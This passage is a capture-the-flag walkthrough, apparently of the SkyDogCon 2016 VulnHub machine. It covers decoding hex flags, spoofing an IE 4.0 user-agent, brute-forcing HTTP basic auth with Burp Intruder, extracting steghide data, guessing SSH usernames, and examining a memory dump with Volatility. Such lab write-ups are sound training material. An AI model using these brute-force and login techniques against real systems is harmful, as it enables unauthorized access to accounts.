.......................snip......................

Decoding the Hex with Python gave me the next flag, which was the MD5 of ‘nmap’ which must be the hint for the SSH banner flag.

root@kali:~# python
Python 2.7.12+ (default, Sep  1 2016, 20:27:38) 
[GCC 6.2.0 20160822] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "666c61677b37633031333230373061306566373164353432363633653964633166356465657d".decode('hex')
'flag{7c0132070a0ef71d542663e9dc1f5dee}'
>>>

Dirbuster turned up a protected page. Browsing to it gave me an error message. My first thought was changing my user-agent. I first attempted with Burp Intruder and a large user-agent list but did not get any hits.

root@kali:~# curl -s http://172.16.94.136/personnel
ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging....

Digging around for quite some time led me back to the same JavaScript file with some more interesting comments. The FBI page was expecting my UA to be IE 4.0. Super secure!

Changing my UA to IE 4.0 in Burp Repeater got me access to the FBI Portal page.

I set up a match/replace rule in Burp to make it easier to browse the site directly.

 

The FBI Portal page was all static content, but I did get the next flag (which cracked to ‘evidence’) as well as a clue “new+flag”.

Following the hint brought me to a password protected page.

Basic-auth can be brute-forced with Burp Intruder but I first needed a username. The JavaScript file from earlier gave us a user name and the login prompt states “FBI Personnel” so I followed the username format and configured Intruder to attempt a brute-force with the user ‘carl.hanratty’.

I set up Burp like so:

The username in position 1 with a ‘:’ separate and base64 encoding to properly format the payloads for basic-auth.

I used a large wordlist and eventually got a hit, the 301 redirect indicated a successful login.

I checked the string for the valid password.

root@kali:/# echo Y2FybC5oYW5yYXR0eTpHcmFjZQ== | base64 -d
carl.hanratty:Grace

I was greeted with an FBI evidence page which gave me my next flag (which cracked to ‘panam’).

As well as a PDF document that did not yield anything upon inspection.

 

As with all CTFs, I have gotten in the habit of checking images for hidden data with strings, exiftool, steghide, binwalk, etc. Running binwalk against this image file indicated the presence of something embedded. I attempted to carve it up for a while and didn’t get anywhere.

root@kali:~/Desktop/skyconCTF# binwalk -e image.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
2214320       0x21C9B0        MySQL MISAM compressed data file Version 10

I took a stab with steghide but did not have the passphrase. I eventually had a facepalm moment when trying ‘panam’. I extracted the flag.txt file and had the next flag as well as what appeared to be 2 passwords. But for what? It had to be the SSH service as the rest of the web application appeared static but I did not have user name.

root@kali:~/Desktop/skyconCTF# steghide extract -sf image.jpg -p panam
wrote extracted data to "flag.txt".
root@kali:~/Desktop/skyconCTF# cat flag.txt 
flag{d1e5146b171928731385eb7ea38c37b8}
=ILoveFrance

clue=iheartbrenda

Google showed that the ‘fastest man alive’ clue was potentially talking about the Flash, also known as Barry Allen. Google further turned up that Barry Allen was an alias used by Frank Abagnale in the movie to trick the FBI agent tracking him. I put together a list of potential usernames based on all the aliases I could find from the movie and tried various formats.

frank.conners
frank.abagnale
barry.allen
frankconners
frankabagnale
fconners
ballen
frankconners
frankabagnale
barryallen

Trying each of this usernames combined with ‘ILoveFrance’ and ‘iheartbrenda’ eventually got me a successful login: barryallen:iheartbrenda. Logging in got me the next flag.

root@kali:~/Desktop/skyconCTF# ssh barryallen@172.16.94.136 -p 22222
###############################################################
#                         WARNING                             #
#		FBI - Authorized access only!                 # 
# Disconnect IMMEDIATELY if you are not an authorized user!!! #
#         All actions Will be monitored and recorded          #
#	Flag{53c82eba31f6d416f331de9162ebe997}		      #
###############################################################
barryallen@172.16.94.136's password: 
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-38-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

14 packages can be updated.
7 updates are security updates.

/usr/bin/xauth:  file /home/barryallen/.Xauthority does not exist
barryallen@skydogconctf2016:~$ 


barryallen@skydogconctf2016:~$ ls
flag.txt  security-system.data
barryallen@skydogconctf2016:~$ cat flag.txt 
flag{bd2f6a1d5242c962a05619c56fa47ba6}

This MD5 cracked to ‘theflash’.

There was also a large zip file in the user’s home directory which I transferred off using SCP to work on locally.

barryallen@skydogconctf2016:~$ file security-system.data 
security-system.data: Zip archive data, at least v2.0 to extract


root@kali:~/Desktop/skyconCTF# scp -P 22222 barryallen@172.16.94.136:/home/barryallen/security-system.data /root/Desktop/skyconCTF
###############################################################
#                         WARNING                             #
#		FBI - Authorized access only!                 # 
# Disconnect IMMEDIATELY if you are not an authorized user!!! #
#         All actions Will be monitored and recorded          #
#	Flag{53c82eba31f6d416f331de9162ebe997}		      #
###############################################################
barryallen@172.16.94.136's password: 
security-system.data                          100%   71MB  80.0MB/s   00:00

I unzipped the file and ran it through binwalk (which ended up crashing my VM) due to the size), whoops.

root@kali:~/Desktop/skyconCTF# unzip security-system.data.zip 
Archive:  security-system.data.zip
  inflating: security-system.data 

root@kali:~/Desktop/skyconCTF# binwalk -e security-system.data

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
150720        0x24CC0         Microsoft executable, portable (PE)
656418        0xA0422         Copyright string: "Copyright 1985-1998,Phoenix Technologies Ltd.All rights reserved."
819330        0xC8082         Copyright string: "Copyright (C) 2003-2014  VMware, Inc."
819369        0xC80A9         Copyright string: "Copyright (C) 1997-2000  Intel Corporation"
985388        0xF092C         Copyright string: "Copyright 1985-2001 Phoenix Technologies Ltd."
996673        0xF3541         Copyright string: "Copyright 2000-2015 VMware, Inc."
1000211       0xF4313         Copyright string: "Copyright 1985-2001 Phoenix Technologies Ltd."
5074944       0x4D7000        Microsoft executable, portable (PE)
5894224       0x59F050        Copyright string: "Copyright (C) Rational Systems, Inc."
6758664       0x672108        CRC32 polynomial table, little endian
7143424       0x6D0000        Microsoft executable, portable (PE)
17394939      0x1096CFB       mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit
19261011      0x125E653       mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit
.......................snip......................

The file appeared to be a memory dump. I haven’t done much forensics so I turned to Google and came up with Volatility on Kali which seems to be a go-to for analyzing memory dumps.

I got started with this guide: http://resources.infosecinstitute.com/memory-forensics-and-analysis-using-volatility/

I first had to check the image info to figure out the operating system the dump came from and set up a profile moving forward.

root@kali:~/Desktop/skyconCTF# volatility imageinfo -f security-system.data 
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/root/Desktop/skyconCTF/security-system.data)
                      PAE type : PAE
                           DTB : 0x33e000L
                          KDBG : 0x80545b60L
          Number of Processors : 1
     Image Type (Service Pack) : 3
                KPCR for CPU 0 : 0xffdff000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2016-10-10 22:00:50 UTC+0000
     Image local date and time : 2016-10-10 18:00:50 -0400

I next used the ‘files’ plugin and dumped out all the file names.

root@kali:~/Desktop/skyconCTF# volatility --profile=WinXPSP2x86 -f security-system.data filescan > files
Volatility Foundation Volatility Framework 2.5
root@kali:~/Desktop/skyconCTF# cat files | grep flag.txt 
root@kali:~/Desktop/skyconCTF# cat files | grep flag
root@kali:~/Desktop/skyconCTF# cat files | grep .txt
0x0000000005e612f8      1      0 -W-r-- \Device\HarddiskVolume1\Documents and Settings\test\Desktop\code.txt
0x0000000

I grepped for ‘flag.txt’, ‘flag’ and just ‘.txt’ until I got several hits. Code.txt looked particularly promising. Looking at the plugin list I noticed one for checking command line history. Running it got me another Hex string.

root@kali:~/Desktop/skyconCTF# volatility --profile=WinXPSP2x86 -f security-system.data cmdscan
Volatility Foundation Volatility Framework 2.5
**************************************************
CommandProcess: csrss.exe Pid: 560
CommandHistory: 0x10186f8 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x2d4
Cmd #0 @ 0x1024400: cd Desktop
Cmd #1 @ 0x4f2660: echo 66 6c 61 67 7b 38 34 31 64 64 33 64 62 32 39 62 30 66 62 62 64 38 39 63 37 62 35 62 65 37 36 38 63 64 63 38 31 7d > code.txt

Once again I was able to use Python to decode the Hex and grab the last flag.

root@kali:~/Desktop/skyconCTF# python
Python 2.7.12+ (default, Sep  1 2016, 20:27:38) 
[GCC 6.2.0 20160822] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "666c61677b38343164643364623239623066626264383963376235626537363863646338317d".decode('hex')
'flag{841dd3db29b0fbbd89c7b5be768cdc81}'
>>> 

Flag 3 kept me stumped, I ran Wireshark and Ettercap for while since it seemed to allude to traffic sniffing, but no luck. I dug around the file system for a while and did not notice any services calling out. Eventually I took a look at the Apache configuration and found flag3 hidden inside the apache.crt file.

I decoded the base64 in Burp which gave me the MD5 of ‘personnel’. Luckily I found that page with Dirbuster or I would have been quite stuck.

This was a fun challenge and I got to play around with forensics tools a bit. I spent quite some time going through the memory dump with Volatility afterwards, really cool stuff.

Thanks to @jamesbower for putting this challenge together as well as @g0tmi1k and the @vulnhub team for continuing to maintain this community.